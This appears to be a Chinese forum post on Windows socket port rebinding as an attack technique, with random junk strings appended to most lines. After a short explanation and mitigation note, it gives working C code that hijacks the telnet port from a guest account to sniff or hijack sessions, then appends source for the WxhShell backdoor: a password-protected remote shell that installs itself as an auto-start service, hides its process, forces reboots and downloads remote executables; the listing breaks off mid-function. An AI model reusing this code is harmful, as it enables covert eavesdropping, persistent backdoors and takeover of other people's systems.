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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ux_tHyc/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y74Ph:^ k  
C`F*00M{  
  saddr.sin_family = AF_INET; fuM+{1}/E  
MS{purD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FC.d]XA%/d  
` aTkIo:ms  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oY@4G)5  
9z9z:PU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >Lo 0,b$  
8>.l4:`  
  这意味着什么?意味着可以进行如下的攻击: jg8j>" Vj>  
0RY{y n3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JZ6{W  
a/ !!Y@7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VO ^ [7Y  
~YO-GX(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /60 `"xH  
g+8j$w}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HA%% WSuf  
y=y=W5#;77  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iTTe`Zr5y  
'0_Z:\ laU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d#:&Uw  
T.kmoLlH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `+17 x<N  
S -j<O&h~C  
  #include .uzg2Kd_  
  #include ]_NN,m>z  
  #include "oZ]/(  
  #include    Hl"rGA>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   55xv+|k  
  int main() 4`@]jm  
  { 82F q}N <  
  WORD wVersionRequested; K @3 yS8F  
  DWORD ret; 1aKYxjYM  
  WSADATA wsaData; ]@OGp:Hz  
  BOOL val; n*-t =DF  
  SOCKADDR_IN saddr; T^h;T{H2  
  SOCKADDR_IN scaddr; hQ&S*f&='  
  int err; M0`nr}g  
  SOCKET s; $3BCA)5:  
  SOCKET sc; R }M'D15  
  int caddsize;  (A 2x  
  HANDLE mt; Y(IT#x?p  
  DWORD tid;   Vm.&JVb  
  wVersionRequested = MAKEWORD( 2, 2 ); UF)rBAv(/  
  err = WSAStartup( wVersionRequested, &wsaData ); Zd@'s.,J  
  if ( err != 0 ) { <VV./W8e9  
  printf("error!WSAStartup failed!\n"); xq_%|p}y  
  return -1; hNB;29r~  
  } .$b]rx7$ ~  
  saddr.sin_family = AF_INET; e*_8B2da  
   %+oWW5q7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dsP|j (y  
xQ4D| &  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g|*2O}<  
  saddr.sin_port = htons(23); QjETu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iMRb` \KH  
  { K 1>.%m  
  printf("error!socket failed!\n"); (g,lDU[=  
  return -1; q+XL,E  
  } v{Cts3?Br  
  val = TRUE; " 6 /`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %C=^ h1t%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "sF&WuW|  
  { \KfngYD]W  
  printf("error!setsockopt failed!\n"); \3dM A_5  
  return -1; evf){XhT;n  
  } Kx9Cx 5B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <mlQn?u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]bO {001y,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9_'xq.uP  
b u%p,u!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v 1Yf:c  
  { S/-[OA>N  
  ret=GetLastError(); TkhbnO g6  
  printf("error!bind failed!\n"); >T{9-_#P  
  return -1; Tz.!  
  } $Tu%dE(OF  
  listen(s,2); ]xQPSs_  
  while(1) ,Iq+v  
  { :$d3}TjsA+  
  caddsize = sizeof(scaddr); \&]M \  
  //接受连接请求 Db\.D/ 76  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NL&(/72V  
  if(sc!=INVALID_SOCKET) uyP)5,  
  { /6}4<~~4TA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?RGL0`Lg  
  if(mt==NULL) y [e $  
  { :~loy'  
  printf("Thread Creat Failed!\n"); *v3/8enf  
  break; aNb=gjLpt  
  } kRNr`yfN  
  } 1\q(xka{  
  CloseHandle(mt); Sr~zN:wn  
  } (8o~ XL  
  closesocket(s); B1m@  
  WSACleanup(); FT73P0!8.  
  return 0; i_ws*7B<  
  }   z<c^<hE:l  
  DWORD WINAPI ClientThread(LPVOID lpParam) %Rv&VFg  
  { BDZB;DPb  
  SOCKET ss = (SOCKET)lpParam; eKn&`\j6  
  SOCKET sc; %)*!(%\S*3  
  unsigned char buf[4096]; b_-ESs]g  
  SOCKADDR_IN saddr; +<6L>ZAL  
  long num; E&V"z^qs_  
  DWORD val; ~PaD _W#xP  
  DWORD ret; 'qQ 5K o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e/lfT?J\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '1;Q'-/J  
  saddr.sin_family = AF_INET; aWek<Y~+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @uz&]~+`  
  saddr.sin_port = htons(23); yCkfAx8 ]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  ])}{GW  
  { 9'3%%o  
  printf("error!socket failed!\n"); w[\*\'Vm0  
  return -1; P{5p'g ,  
  } %KNnss}  
  val = 100; .:Bjs*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'p-jMD}O  
  { dgpo4'c}  
  ret = GetLastError(); I<|)uK7  
  return -1; (: 2:_FL  
  } VaQ>g*(I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;%2/  
  { m8$6FN  
  ret = GetLastError(); Ei Wy`H;  
  return -1; @/H1}pM~  
  } Je2o('MA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0z/tceW'F  
  { 1i#uKKwE  
  printf("error!socket connect failed!\n"); :s+AIo6  
  closesocket(sc); rxCEOG  
  closesocket(ss); jV8mn{<  
  return -1; +`9 ]L]J]4  
  } 2<>n8K  
  while(1) X}p#9^%N  
  { #)q}Jw4]j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _CAW D;P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tY !fO>Fn~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~1wAk0G`n  
  num = recv(ss,buf,4096,0); xB3;%Lc  
  if(num>0) >8Zz<S&z  
  send(sc,buf,num,0); ^DXERt&3  
  else if(num==0) }$#e&&)n  
  break; +mhYr]Z  
  num = recv(sc,buf,4096,0); =$Sf]L  
  if(num>0) (f5!36mz  
  send(ss,buf,num,0); ,)'!E^n  
  else if(num==0) pSkP8'  ?  
  break; im9 B=D  
  } /XS6X  
  closesocket(ss); '?t]iRCeI7  
  closesocket(sc); [J\5DctX;c  
  return 0 ; 9_ JK.  
  } 'VFxg,  
9=@j]g|  
[Ua4{3#  
==========================================================  dKDtj:  
-liVYI2s  
下边附上一个代码,,WXhSHELL PKT0Drv}c7  
?H eC+=/Z  
========================================================== G%S=K2 v  
qqT6C%Q`kG  
#include "stdafx.h" hD{+V!{  
B<DvH"+$  
#include <stdio.h> l@Ma{*s6=5  
#include <string.h> &WN4/=QW-J  
#include <windows.h> O^G/(  
#include <winsock2.h> iI+kZI-  
#include <winsvc.h> qd~)Ya1  
#include <urlmon.h> \.myLkm  
b')CGqbbmT  
#pragma comment (lib, "Ws2_32.lib") 'e02rqip{  
#pragma comment (lib, "urlmon.lib") uljd)kLy4O  
QW6F24  
#define MAX_USER   100 // 最大客户端连接数 dr^pzM!N  
#define BUF_SOCK   200 // sock buffer dm,7OQ  
#define KEY_BUFF   255 // 输入 buffer ,$Qa]UN5Q  
QX ishHk&  
#define REBOOT     0   // 重启 .x$+R%5U  
#define SHUTDOWN   1   // 关机 J6Hw05%0=  
. l RW  
#define DEF_PORT   5000 // 监听端口 ] M "{=z  
?'CIt5n+\{  
#define REG_LEN     16   // 注册表键长度 X3(:)zUL  
#define SVC_LEN     80   // NT服务名长度 ()JM161  
DF%\ 1C>  
// 从dll定义API * gr{{c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?;,s=2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @YdS_W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3m#v|52oj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z66akr  
r1EccY  
// wxhshell配置信息 gR.zL>=_5e  
struct WSCFG { t9&)9,my  
  int ws_port;         // 监听端口 \MsAdYR  
  char ws_passstr[REG_LEN]; // 口令 -Vn9YeH+  
  int ws_autoins;       // 安装标记, 1=yes 0=no c?CwxI_b8  
  char ws_regname[REG_LEN]; // 注册表键名 gZ   
  char ws_svcname[REG_LEN]; // 服务名 x%B^hH;W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @Rj&9/\L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =DvFY]9{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fj"g CBaR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no " ^ydoRZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H!4!1J.=xw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5xwztcR-  
Vky~yTL)\  
}; UMm<HQ  
3qiE#+dC  
// default Wxhshell configuration a-4'jT:  
struct WSCFG wscfg={DEF_PORT, Ah='E$t  
    "xuhuanlingzhe", +Qt=N6>  
    1, />Tyiy]2uu  
    "Wxhshell", i]Lt8DiRq  
    "Wxhshell", `/f9 mn  
            "WxhShell Service", Yb%H9A  
    "Wrsky Windows CmdShell Service", j*x8K,fN  
    "Please Input Your Password: ", b9)%,3-  
  1, UAnq|NJO  
  "http://www.wrsky.com/wxhshell.exe", jiYYDGs77  
  "Wxhshell.exe" %h g=@7,|  
    }; ~1`.iA  
{r`l  
// 消息定义模块 zwN;CD1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -dsB@nPiUw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2WIL0Siwl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Pr{?A]dQ  
char *msg_ws_ext="\n\rExit."; xYc)iH6&  
char *msg_ws_end="\n\rQuit."; -6;0 x  
char *msg_ws_boot="\n\rReboot..."; Z}T<^  F  
char *msg_ws_poff="\n\rShutdown..."; L^KGY<hp4  
char *msg_ws_down="\n\rSave to "; O}MY:6Pe  
[^A.$,  
char *msg_ws_err="\n\rErr!"; /gL(40  
char *msg_ws_ok="\n\rOK!";  8;4vr@EV  
8*6vX!Z|  
char ExeFile[MAX_PATH]; xAYC%)  
int nUser = 0; m}T^rX%m_  
HANDLE handles[MAX_USER]; Pg-~^"?y  
int OsIsNt; 1HskY| X  
Oq(_I b)9  
SERVICE_STATUS       serviceStatus; /4YXx|V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PYkcGtVa_  
k[6@\D-  
// 函数声明 =8X`QUmT  
int Install(void); v/c8P\  
int Uninstall(void); >1`FR w<  
int DownloadFile(char *sURL, SOCKET wsh); ^*`{W4e]  
int Boot(int flag); bEV 9l  
void HideProc(void); xoTS?7  
int GetOsVer(void); mk~i (Ee  
int Wxhshell(SOCKET wsl); K%Mm'$fTw  
void TalkWithClient(void *cs); WiH%URFB  
int CmdShell(SOCKET sock); m( C7Fa  
int StartFromService(void); S]KcAz(fX  
int StartWxhshell(LPSTR lpCmdLine); @BbZ(cZ*  
d;Z<")  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >T%Jlj3ZG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~cz] Rhq  
Dn) =V.  
// 数据结构和表定义 &9$0v"`H  
SERVICE_TABLE_ENTRY DispatchTable[] = fa=#S  
{ B~cq T/\?  
{wscfg.ws_svcname, NTServiceMain}, p.n]y=o.)  
{NULL, NULL} F:%= u =  
}; j2cLb  
<P'^olQ  
// 自我安装 "FT5]h  
int Install(void) W8,XSUl  
{ hmtRs]7  
  char svExeFile[MAX_PATH]; _U1~^ucV  
  HKEY key; W,`u5gbT  
  strcpy(svExeFile,ExeFile); J#L-Slav%  
o$'Fz[U  
// 如果是win9x系统,修改注册表设为自启动 >-r\]/^  
if(!OsIsNt) { KZ6}),p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j1N1c~2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ';+;  
  RegCloseKey(key); nSz Fs(]f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g (33h2"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^TyusfOz  
  RegCloseKey(key); fPiq  
  return 0; _{8f^@I"+  
    } XLwbA4ORq  
  } ];R5[%:5  
} u'd+:uH  
else { f62z9)`^  
mq[(yR  
// 如果是NT以上系统,安装为系统服务 yc+#LZ~(a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VBF3N5 ;W  
if (schSCManager!=0) K?BWl:^x  
{ |H2{%!  
  SC_HANDLE schService = CreateService >B>CV8p6w  
  ( :@wO' o  
  schSCManager, iH9g5G`O  
  wscfg.ws_svcname, $ N5VoK  
  wscfg.ws_svcdisp, k)'hNk"x  
  SERVICE_ALL_ACCESS, iv?'&IUfK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i 6kW"5t  
  SERVICE_AUTO_START, iVd*62$@$  
  SERVICE_ERROR_NORMAL, MnO,Cd6{%d  
  svExeFile, +o?.<[>!GR  
  NULL, h.%VWsAO7  
  NULL, @\i6m]\X  
  NULL, RI:x`do  
  NULL, VD,F?L!  
  NULL 6.6~w\fR8  
  ); si/F\NDT   
  if (schService!=0) zpZlA_   
  { r%xp^j}  
  CloseServiceHandle(schService); h76#HUBr!  
  CloseServiceHandle(schSCManager); {dg3 qg~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z<+".sD'  
  strcat(svExeFile,wscfg.ws_svcname); oZ& ns!#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J@oGAa%3)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); //JF$o=)D  
  RegCloseKey(key); UQ$dO2^  
  return 0; Q#}} 1}Ja  
    } V8NJ0fF  
  } 76c4~IG#  
  CloseServiceHandle(schSCManager); [p$b@og/>  
} ,vrdtL  
} H'<9;bD -  
3rZFN^  
return 1; Fw+JhI VP  
} hAOXOj1  
V(L~t=k$  
// 自我卸载 NSOWn]E  
int Uninstall(void) zek\AQN  
{ #dqZdj@  
  HKEY key; HLN rI0  
29Kuq;6  
if(!OsIsNt) { x1/Usupi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4.,e3  
  RegDeleteValue(key,wscfg.ws_regname); 37ll8  
  RegCloseKey(key); 1UJ(._0hR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vPi\ v U{  
  RegDeleteValue(key,wscfg.ws_regname); $sU?VA'h  
  RegCloseKey(key); O!d^v9hM,  
  return 0; )3.udx  
  } 6O"Vy  
} 'M_8U0k  
} `tVBV :4\  
else { 7V4 iPx  
a,d\< mx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ki^m&P   
if (schSCManager!=0) wC{ =o`v  
{ ~"gOq"y 5p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7Hf6$2Wh  
  if (schService!=0) Sj+ gf~~  
  { m,K\e  
  if(DeleteService(schService)!=0) { RL~\/#  
  CloseServiceHandle(schService); 2N5 N^S  
  CloseServiceHandle(schSCManager); D?}LKs[  
  return 0; r;y&Wa  
  } y@~.b^?_u  
  CloseServiceHandle(schService); f4/!iiS}r  
  } \Wt&z,  
  CloseServiceHandle(schSCManager); vW"x)~B  
} 5`^"<wNI  
} l2 gI2Cioa  
L^RyJ;^c  
return 1; `*KS` z?  
} YCh!D dy  
9`{Mq9J  
// 从指定url下载文件 WN>.+qM~8  
int DownloadFile(char *sURL, SOCKET wsh) (Uv{%q.n6  
{ 0w< iz;30  
  HRESULT hr; tOnaD]J  
char seps[]= "/"; :lgIu .  
char *token; \Y>^L{  
char *file; I4m)5G?O2  
char myURL[MAX_PATH]; 2}[rc%tV:?  
char myFILE[MAX_PATH]; $]|_xG-6{  
R j(="+SPj  
strcpy(myURL,sURL); y|.wL=;  
  token=strtok(myURL,seps); .NCQiQ  
  while(token!=NULL) aZ5qq+1x  
  { E Q?4?  
    file=token; 7; T S  
  token=strtok(NULL,seps); mTZlrkT  
  } 6jCg7Su]  
;NRm ,  
GetCurrentDirectory(MAX_PATH,myFILE); Jfo|/JQ  
strcat(myFILE, "\\"); )lB-D;3[_  
strcat(myFILE, file); zL OmtZ(['  
  send(wsh,myFILE,strlen(myFILE),0); ,m3AVHa*G  
send(wsh,"...",3,0); GS8,mQ8l*l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (niZN_qv  
  if(hr==S_OK) 9^igzRn0  
return 0; nqgfAQsE)  
else w V;y]'  
return 1; #xYkG5`lm  
BzTm[`(h  
} $T;3*D90  
YyK9UZjI  
// 系统电源模块 +ZizT.$&  
int Boot(int flag) {:4); .  
{ fkRb;aIl  
  HANDLE hToken; <u4GIi <sm  
  TOKEN_PRIVILEGES tkp; &bBp`h  
h=`rZC  
  if(OsIsNt) { lba*&j]w=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G`6U t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3AWB Y .  
    tkp.PrivilegeCount = 1; <Y~V!9(~{Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YV! !bI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y"t5%Iv  
if(flag==REBOOT) { #n2GW^x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G|3OB:  
  return 0; rQKBT]?y  
} Bw{@YDO{  
else { iW* 0V3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FuEHO6nx  
  return 0; cTRCQ+W6:  
} pC5-,Z;8  
  } `q$DNOrS  
  else { f8[2$i*cL  
if(flag==REBOOT) { Plm3vk=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dr'6N1B@  
  return 0; dN\pe@#lKP  
} QXXcJc~  
else { vaTXu*   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1$".7}M4$  
  return 0; p,kJ#I  
} 6|_ S|N  
} m#8}!u&  
R L)'m  
return 1; [K"v)B'  
} )>TA|W]@  
Ty@&s 58a  
// win9x进程隐藏模块 D+ jk0*bJ  
void HideProc(void) ceZt%3=5  
{ Dt r'X@U  
. `hlw'20  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R^PQ`$W 'R  
  if ( hKernel != NULL ) q!O~*   
  { ]}'WNy6c&x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &TK%igL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j$8 ~M  
    FreeLibrary(hKernel); 5R o5Cg~  
  } yM\ 1n  
(8H^{2K~  
return; `bH Eu"(,  
} Aq";z.gi+  
F6q}(+9i  
// 获取操作系统版本 {p2%4  
int GetOsVer(void) 4Pz9&^K  
{ \!w7 N :m  
  OSVERSIONINFO winfo; -n Hc52,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E"w7/k#3}C  
  GetVersionEx(&winfo); wHIS}OONz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u$a%{46  
  return 1; ]?<uf40Mm  
  else 34P? nW(  
  return 0; [q(7Jv  
} $6Ty~.RP5H  
ryPz?Aw(4  
// 客户端句柄模块 Ay56@_d2  
int Wxhshell(SOCKET wsl) i<@|+*>M  
{ Z/_RQ q   
  SOCKET wsh; TcGxm7T  
  struct sockaddr_in client; Zu+Z7@$}/  
  DWORD myID; z6Mf>q  
$ Q2|{*  
  while(nUser<MAX_USER) kM9E)uT>(<  
{ VBd.5YW  
  int nSize=sizeof(client); RrRCT.+E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $cK9E:v  
  if(wsh==INVALID_SOCKET) return 1;  gZvl D  
S B'.   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2QBq  
if(handles[nUser]==0) X1" `0r3  
  closesocket(wsh); x$A5Ved  
else 8E$KR:/:4  
  nUser++; A4SM@ry  
  } cFuvi^n\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hd^?svID  
xkqt(ng(  
  return 0; Z7%>O:@z  
} `aSz"4Wd  
Ag?@fuk$J  
// 关闭 socket y~W6DL}  
void CloseIt(SOCKET wsh) -4V1s;QUZ  
{ _A%z^&k(i  
closesocket(wsh); %q:V  
nUser--; |yqx ]  
ExitThread(0); fx=aT  
} rZzto;NDS  
o"5R^a@  
// 客户端请求句柄 uK t>6DN.  
void TalkWithClient(void *cs) 6wxQ_Qz:Q  
{ Uh&MoIBs#  
2TIZltFS0e  
  SOCKET wsh=(SOCKET)cs; &z,w0FOre  
  char pwd[SVC_LEN]; fe&K2C%bm  
  char cmd[KEY_BUFF]; lRentNg0b  
char chr[1]; > Y[{m $-  
int i,j; ZpWG  
1?mQ fW@G  
  while (nUser < MAX_USER) { !".@Wg$  
T}fo:aB}  
if(wscfg.ws_passstr) { 3+(Fq5I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <.=   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '8dgYj  
  //ZeroMemory(pwd,KEY_BUFF); ]@Zj-n8  
      i=0; B"8^5#t4s  
  while(i<SVC_LEN) { %>pglI  
*<BasP  
  // 设置超时 XhTp'2,]  
  fd_set FdRead; ~>+}(%<,  
  struct timeval TimeOut; =f{r+'[;^  
  FD_ZERO(&FdRead); ~KrzJp=5F  
  FD_SET(wsh,&FdRead); 6rPe\'n=B  
  TimeOut.tv_sec=8; /FB'  
  TimeOut.tv_usec=0; w~1K93/p!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LN_6>u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dD!} P$  
dNbN]gHC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .dl1sv U  
  pwd=chr[0]; V4xZC\)Gk  
  if(chr[0]==0xd || chr[0]==0xa) { Xhi9\wteYw  
  pwd=0; pn'*w 1i  
  break; Y[*z6gP(  
  } bJGT^N@  
  i++; x'n J_0  
    } 2uU~$7~N  
8th G-  
  // 如果是非法用户,关闭 socket szWh#O5=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #d__  
} *mq+w&  
!U*i13  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J6&;pCAi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `MEH/  
QT?fp >'  
while(1) { y%3Yr?]  
+vJ[k2d  
  ZeroMemory(cmd,KEY_BUFF); X}g!Lp  
a i}8+L8-  
      // 自动支持客户端 telnet标准   0*,r  
  j=0; z <s]Z  
  while(j<KEY_BUFF) { op[OB=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?JtFiw  
  cmd[j]=chr[0]; Wh 8fC(BE  
  if(chr[0]==0xa || chr[0]==0xd) { e WcS>N  
  cmd[j]=0; e7 5*84  
  break; "y>l2V,4j%  
  } -/KVZ  
  j++; Fi1gM}>py  
    } Nluy]h &  
6g( 2O[n.  
  // 下载文件 mp !6MOQ  
  if(strstr(cmd,"http://")) { n T\ W|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :`oYD  
  if(DownloadFile(cmd,wsh)) +9,"ne1'e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0xZq?9a  
  else mu|#(u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G#n27y nh  
  } Bd)Qz(>rw  
  else { ?%B%[u  
ZZ?=^g  
    switch(cmd[0]) { e9"<.:&  
  lSl=6R  
  // 帮助 > : \lDz  
  case '?': { '$4o,GA8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z8jQaI]j  
    break; tAc[r)xFw  
  } ZuILDevMD  
  // 安装 9LzQp`In  
  case 'i': { lhJT&  
    if(Install()) =Tb~CT=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?$ o9/9w  
    else TfVB~"&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uu]<R@!J  
    break; }-YD_Pm K-  
    } 5\RKT)%X  
  // 卸载 pA4oy  
  case 'r': { ;lnh;0B  
    if(Uninstall()) ;R 'OdQ$o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DX4uTD  
    else zeNvg/LI^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )^L+iht  
    break; q"`1cFD  
    } Y7]N.G3,]  
  // 显示 wxhshell 所在路径 ZKPnvL70  
  case 'p': { +'JM:};1X8  
    char svExeFile[MAX_PATH]; %/-Z1Nv*#  
    strcpy(svExeFile,"\n\r"); >*B/Wy  
      strcat(svExeFile,ExeFile); m3\lm@`)O  
        send(wsh,svExeFile,strlen(svExeFile),0); 0KU,M+_  
    break; )z$VQ=]"  
    } uFL~^vz  
  // 重启 7*~ rhQ  
  case 'b': { w\8grEj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cf J@|Rh  
    if(Boot(REBOOT)) xG\&QE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *ZF7m_8u{  
    else { fQ 'P2$  
    closesocket(wsh); #V*<G#B  
    ExitThread(0); =H3 JRRS  
    } OGrp {s  
    break; cAV9.VS<L  
    } 2*F["E  
  // 关机 _ B",? }  
  case 'd': { (]vHW+'  
